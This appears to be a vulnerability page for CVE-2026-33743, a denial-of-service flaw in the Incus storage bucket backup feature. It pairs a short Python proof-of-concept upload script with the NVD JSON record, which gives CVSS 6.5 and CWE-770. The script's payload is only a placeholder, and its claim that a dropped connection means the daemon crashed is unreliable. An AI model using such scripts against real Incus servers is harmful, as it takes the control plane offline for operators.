CVE-2026-33743

import requests # Target Incus server API endpoint for storage bucket backups target_url = "https://<incus-host>:8443/1.0/storage-buckets/<bucket-id>/backups" # Headers (Authentication required) headers = { "Authorization": "Bearer <your-api-token>" } # Simulating a malicious backup file that triggers the parsing crash # Specific payload structure depends on the vulnerability root cause malicious_backup_data = b"\x00\x01\x02\x03...Malicious_Pattern..." files = { 'file': ('malicious_backup.tar.gz', malicious_backup_data, 'application/gzip') } try: # Send the malicious backup to the server response = requests.post(target_url, headers=headers, files=files, verify=False) if response.status_code == 200 or response.status_code == 202: print("PoC uploaded successfully. Daemon might crash shortly.") else: print(f"Upload failed with status: {response.status_code}") except requests.exceptions.ConnectionError: print("Connection dropped abruptly. The Incus daemon likely crashed (DoS successful).") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-33743", "sourceIdentifier": "[email protected]", "published": "2026-03-26T23:16:20.583", "lastModified": "2026-03-30T18:54:51.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incus is a system container and virtual machine manager. Prior to version 6.23.0, a specially crafted storage bucket backup can be used by an user with access to Incus' storage bucket feature to crash the Incus daemon. Repeated use of this attack can be used to keep the server offline causing a denial of service of the control plane API. This does not impact any running workload, existing containers and virtual machines will keep operating. Version 6.23.0 fixes the issue."}, {"lang": "es", "value": "Incus es un gestor de contenedores de sistema y máquinas virtuales. Antes de la versión 6.23.0, una copia de seguridad de bucket de almacenamiento especialmente diseñada puede ser utilizada por un usuario con acceso a la característica de bucket de almacenamiento de Incus para hacer fallar el demonio de Incus. El uso repetido de este ataque puede ser utilizado para mantener el servidor fuera de línea, causando una denegación de servicio de la API del plano de control. Esto no tiene impacto en ninguna carga de trabajo en ejecución; los contenedores y máquinas virtuales existentes seguirán funcionando. La versión 6.23.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.23.0", "matchCriteriaId": "CBE3ABCB-1D47-4A45-A09A-C9F609C53131"}]}]}], "references": [{"url": "https://github.com/lxc/incus/security/advisories/GHSA-vg76-xmhg-j5x3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/lxc/incus/security/advisories/GHSA-vg76-xmhg-j5x3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}